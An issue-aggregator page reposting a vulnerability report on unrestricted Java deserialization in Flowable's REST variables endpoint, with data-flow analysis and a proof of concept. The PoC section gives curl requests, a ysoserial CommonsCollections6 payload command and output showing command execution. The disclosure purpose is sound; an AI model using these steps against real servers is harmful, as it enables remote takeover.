[SECURITY] Deserialization RCE via POST /runtime/process-instances/{processInstanceId}/variables with type=serializable (CWE-502, CVSS 8.8)
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 4/5
- Tempo stimato
- 3-5 giorni
- Idoneità per principianti
- 35/100
Direzione di ricerca
Start by reading BaseExecutionVariableResource.java around setBinaryVariable(), then trace the callers in BaseVariableCollectionResource.java and ProcessInstanceVariableCollectionResource.java. Check flowable-default.properties for the default serializable-variable setting and identify existing tests for multipart variable uploads. Done means the reported unrestricted deserialization path is no longer exploitable under the default configuration, with regression coverage for the endpoint.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Security Vulnerability Report -- CWE-502
Summary
The Flowable REST API's POST /runtime/process-instances/{processInstanceId}/variables endpoint allows unrestricted Java deserialization (ObjectInputStream.readObject) of uploaded files via multipart/form-data under default configuration. An attacker only needs Basic Auth credentials to trigger remote code execution (RCE).
Vulnerability Description
Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0
Static Analysis Report
Vulnerability Overview
The Flowable REST API's POST /runtime/process-instances/{processInstanceId}/variables endpoint supports uploading binary variables via multipart/form-data. When the request's type parameter value is serializable, the server uses ObjectInputStream to directly perform Java native deserialization (readObject()) on the uploaded file content, without applying any class whitelist or ObjectInputFilter filtering. The rest.variables.allow.serializable property defaults to true in the default configuration, so an attacker only needs valid Basic Auth credentials to upload serialized objects containing malicious gadget chains to achieve remote code execution (RCE).
Exploitation Prerequisites
- Authentication Status: Requires valid Basic Auth credentials (regular user sufficient; default
authenticationMode=verify-privilegerequiresaccess-rest-apiprivilege, butauthenticated()is sufficient) - Network Reachability: Flowable REST API port reachable (default 8080)
- Input Constraints: Send a
multipart/form-datarequest containing anameparameter,type=serializableparameter, and afilefield containing the malicious serialized payload - Business Prerequisites: Need to know an existing
processInstanceId(can be obtained via other API endpoints or by creating a process instance) - Configuration Dependencies: Triggerable with default configuration (
rest.variables.allow.serializable=true); Spring Boot classpath typically contains Commons Collections, Spring Beans, and other libraries needed for deserialization gadget chains
Trigger Location
BaseExecutionVariableResource.java:162-166
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();
Data Flow Overview
-
Entry Layer —
ProcessInstanceVariableCollectionResource.createExecutionVariable()(ProcessInstanceVariableCollectionResource.java:149-154)- Receives
@PostMapping /runtime/process-instances/{processInstanceId}/variablesmultipart/form-data request - Calls
getExecutionFromRequestWithoutAccessCheck(processInstanceId)to get Execution object - Delegates request to
BaseVariableCollectionResource.createExecutionVariable()
- Receives
-
Dispatch Layer —
BaseVariableCollectionResource.createExecutionVariable()(BaseVariableCollectionResource.java:83-86)- Checks
request instanceof MultipartHttpServletRequest - If multipart request, calls
setBinaryVariable((MultipartHttpServletRequest) request, execution, true, async)
- Checks
-
Parameter Parsing Layer —
BaseExecutionVariableResource.setBinaryVariable()(BaseExecutionVariableResource.java:102-136)- Extracts uploaded file and form parameters (
scope,name,type) from multipart request - Validates
typeonly allowsbinaryorserializable - When
type=serializable, enters deserialization branch
- Extracts uploaded file and form parameters (
-
Sink —
ObjectInputStream.readObject()(BaseExecutionVariableResource.java:164-165)- Directly uses
new ObjectInputStream(file.getInputStream())to construct deserialization stream - Calls
stream.readObject()to deserialize uploaded file content - No class name whitelist, ObjectInputFilter, or ValidatingObjectInputStream protection
- Directly uses
Data Flow Detailed Code Analysis
Chain 1: multipart/form-data serialized variable upload -> readObject() RCE
Layer 1: Entry — ProcessInstanceVariableCollectionResource.java:149-154
@PostMapping(value = "/runtime/process-instances/{processInstanceId}/variables",
produces = "application/json", consumes = {"application/json", "multipart/form-data"})
public Object createExecutionVariable(
@ApiParam(name = "processInstanceId") @PathVariable String processInstanceId,
HttpServletRequest request, HttpServletResponse response) {
Execution execution = getExecutionFromRequestWithoutAccessCheck(processInstanceId);
return createExecutionVariable(execution, false, false, request, response);
}
- External input:
processInstanceId(path parameter),request(HTTP request, containing multipart data) - Operation: Gets Execution object, then passes raw
HttpServletRequestto parent class method - Data transfer:
requestpassed as method parameter toBaseVariableCollectionResource.createExecutionVariable()
Layer 2: Dispatch — BaseVariableCollectionResource.java:83-86
protected Object createExecutionVariable(Execution execution, boolean override,
boolean async, HttpServletRequest request, HttpServletResponse response) {
Object result = null;
if (request instanceof MultipartHttpServletRequest) {
result = setBinaryVariable((MultipartHttpServletRequest) request, execution, true, async);
} else {
// JSON body processing...
}
- External input:
request(HttpServletRequest passed from entry) - Operation: Checks if request is MultipartHttpServletRequest, if so calls
setBinaryVariable() - Data transfer: Casts
requesttoMultipartHttpServletRequestand passes it
Layer 3: Parameter Parsing — BaseExecutionVariableResource.java:102-136
protected RestVariable setBinaryVariable(MultipartHttpServletRequest request,
Execution execution, boolean isNew, boolean async) {
// ...
MultipartFile file = request.getFile(request.getFileMap().keySet().iterator().next());
// ...
Map<String, String[]> paramMap = request.getParameterMap();
for (String parameterName : paramMap.keySet()) {
if (paramMap.get(parameterName).length > 0) {
if ("scope".equalsIgnoreCase(parameterName)) {
variableScope = paramMap.get(parameterName)[0];
} else if ("name".equalsIgnoreCase(parameterName)) {
variableName = paramMap.get(parameterName)[0];
} else if ("type".equalsIgnoreCase(parameterName)) {
variableType = paramMap.get(parameterName)[0];
}
}
}
- External input: multipart file and form parameters from
request - Operation: Extracts uploaded file object
file, and form parametersname,type,scope - Data transfer:
fileandvariableTypecontinue to be used within the same method
Layer 4: Sink — BaseExecutionVariableResource.java:144-166
if (variableType != null) {
if (!RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
&& !RestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
throw new FlowableIllegalArgumentException(
"Only 'binary' and 'serializable' are supported as variable type.");
}
} else {
variableType = RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE;
}
// ...
if (variableType.equals(RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE)) {
byte[] variableBytes = IOUtils.toByteArray(file.getInputStream());
setVariable(execution, variableName, variableBytes, scope, isNew, async);
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // ← SINK: unrestricted deserialization
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();
}
- External input:
file.getInputStream()(attacker-uploaded file byte stream),variableType(attacker-controlled form parameter) - Operation: When
variableTypeis"serializable"andisSerializableVariableAllowedistrue(default value), directly deserializes the entire uploaded file content viaObjectInputStream.readObject()into a Java object - Key issue: No security wrappers used when constructing
ObjectInputStream(e.g., Apache Commons IO'sValidatingObjectInputStream, Java 9+'sObjectInputFilter), no restrictions on deserialized class names - Data transfer: Deserialized
Object valuedirectly stored as variable value in process engine
Default Configuration Confirmation:
flowable-default.properties:57:
rest.variables.allow.serializable=true
BaseExecutionVariableResource.java:70:
isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);
Default value is true, meaning the deserialization path is fully available under default deployment.
CVSS Breakdown
| Vector | Value | Description |
|---|---|---|
| Attack Vector (AV) | Network | Triggered remotely via HTTP REST API |
| Attack Complexity (AC) | Low | Attacker only needs to send a multipart POST request, no special conditions |
| Privileges Required (PR) | Low | Requires valid Basic Auth credentials (regular user sufficient) |
| User Interaction (UI) | None | No user interaction required |
| Scope (S) | Changed | Deserialization RCE can affect Flowable engine and underlying OS, exceeding the vulnerable component's own scope |
| Confidentiality (C) | High | Successful exploitation can fully control server, access all sensitive data |
| Integrity (I) | High | Can modify arbitrary data, tamper with process definitions |
| Availability (A) | High | Can stop service, delete data |
Overall Score: 8.8 (High)
PoC Verification Report
Flowable REST API POST /runtime/process-instances/{id}/variables Unrestricted Java Deserialization RCE
Vulnerability Summary
- Vulnerability Name: Flowable REST API ProcessInstance Variable Unrestricted Java Deserialization
- Affected Component/Port: Flowable REST API (Tomcat port 8080), version 7.1.0
- Vulnerability Description: Through the
POST /runtime/process-instances/{processInstanceId}/variablesendpoint uploadingtype=serializablevariables viamultipart/form-data, the server directly callsObjectInputStream.readObject()to deserialize uploaded file content without any class name whitelist orObjectInputFilter. An attacker can leverage Commons Collections gadget chain to achieve RCE - Root Cause Code Snippet:
// BaseExecutionVariableResource.java:162-166
} else if (isSerializableVariableAllowed) {
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // ← SINK: unrestricted deserialization
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();
}
- Brief Data Flow:
Attacker HTTP POST multipart/form-data
→ file=[CC6 gadget chain], name=testVar, type=serializable
↓
ProcessInstanceVariableCollectionResource.createExecutionVariable (ProcessInstanceVariableCollectionResource.java:149)
↓
BaseVariableCollectionResource.createExecutionVariable (BaseVariableCollectionResource.java:83)
Detects MultipartHttpServletRequest → calls setBinaryVariable()
↓
BaseExecutionVariableResource.setBinaryVariable (BaseExecutionVariableResource.java:102)
Extracts file, name, type parameters
↓
BaseExecutionVariableResource.java:164-165
new ObjectInputStream(file.getInputStream()).readObject() → RCE
Exploitation Conditions
| Condition | Description |
|---|---|
| Authentication | Requires valid Basic Auth credentials (regular user sufficient, e.g., rest-admin:test) |
| Network Reachability | Flowable REST API port reachable (default 8080) |
| Configuration Dependency | Exploitable with default config (rest.variables.allow.serializable=true) |
| Other Prerequisites | Need an existing processInstanceId (can be obtained by creating a process instance via POST) |
Exploitation Chain Progress
Successful Exploitation:
| Chain Stage | Location (file:line) | Status | Evidence / Description |
|---|---|---|---|
| Entry | ProcessInstanceVariableCollectionResource.java:149 | Reached | POST multipart/form-data request with type=serializable parameter entered endpoint |
| Intermediate Flow | BaseVariableCollectionResource.java:83 | Reached | request instanceof MultipartHttpServletRequest is true, entered setBinaryVariable() |
| Parameter Parsing | BaseExecutionVariableResource.java:120-135 | Reached | Extracted name=testVar, type=serializable, variable type validation passed |
| Sink | BaseExecutionVariableResource.java:164-165 | Triggered | ObjectInputStream.readObject() deserialized CC6 gadget chain, Runtime.exec() executed system command |
| Conclusion | — | Full Chain Closed, RCE Successful | Filesystem produced file created by touch command as RCE evidence |
Exploitation Verification
Step 1: Obtain processInstanceId
curl -s -u rest-admin:test -X POST \
"http://localhost:8080/flowable-rest/service/runtime/process-instances" \
-H "Content-Type: application/json" \
-d '{"processDefinitionKey":"oneTaskProcess"}'
Return result (extract id field):
{"id":"1b783b21-9000-11f1-a444-02423661ba3a", ...}
Step 2: Generate CommonsCollections6 serialized payload
java --add-opens java.base/java.util=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections6 \
"touch /tmp/poc_entry_0625_rce_proof" > cc6_touch.ser
Step 3: Send malicious multipart request to trigger RCE
PROCESS_ID="1b783b21-9000-11f1-a444-02423661ba3a"
curl -s -u rest-admin:test \
-X POST \
-F "name=testVar" \
-F "type=serializable" \
-F "file=@cc6_touch.ser;type=application/octet-stream" \
"http://localhost:8080/flowable-rest/service/runtime/process-instances/${PROCESS_ID}/variables"
Actual execution result: HTTP 201, variable created successfully:
{"name":"testVar","type":"serializable","value":null,
"valueUrl":"http://localhost:8080/flowable-rest/service/runtime/process-instances/1b783b21-9000-11f1-a444-02423661ba3a/variables/testVar/data",
"scope":"local"}
HTTP_CODE: 201
Step 4: Verify RCE command was executed on server
ls -la /tmp/poc_entry_0625_rce_proof
Actual result:
-rw-r----- 1 root root 0 Aug 4 12:29 /tmp/poc_entry_0625_rce_proof
Conclusion: The attacker successfully executed the touch /tmp/poc_entry_0625_rce_proof command on the Flowable REST API server through a multipart POST request carrying a CommonsCollections6 gadget chain. The HTTP 201 response confirms the server fully processed the request, and the new file /tmp/poc_entry_0625_rce_proof on the filesystem directly proves that ObjectInputStream.readObject() triggered Runtime.exec() to execute an arbitrary system command, achieving remote code execution (RCE). This vulnerability is exploitable under default configuration with only regular user Basic Auth credentials.
Severity
CVSS v3.1: 8.8 (High)
Vulnerability Category: CWE-502
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.
- Lingua principale
- Java
- Stelle
- 9.6k
- Fork
- 2.9k
- Merge medio
- 1h 9m
- PR unite (30g)
- 2
Preparare l'ambiente
- Nessun Dockerfile né file Docker Compose
- Ha un modello di pull request
- Nessuna guida per i contributori
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di flowable/flowable-engine
-
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 88/100
flowable/flowable-engine#4268 ·
-
Difficoltà 5/5 Più di una settimana Idoneità per principianti 30/100
flowable/flowable-engine#4293 ·
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 35/100
flowable/flowable-engine#4292 ·
-
Difficoltà 5/5 Più di una settimana Idoneità per principianti 30/100
flowable/flowable-engine#4291 ·
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 48/100
flowable/flowable-engine#4290 ·
Tutte le issue di flowable/flowable-engine
Issue simili
-
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 88/100
apache/arrow-java#1311 ·
I maintainer di solito rispondono entro 2 giorni
-
bug triage
Difficoltà 2/5 1-3 ore Idoneità per principianti 85/100
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 88/100
I maintainer di solito rispondono entro 1 giorno
-
security
Difficoltà 2/5 1-3 ore Idoneità per principianti 65/100
IBM/networking-java-sdk#204 ·
-
bug Technical Debt
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
avniproject/avni-server#1080 ·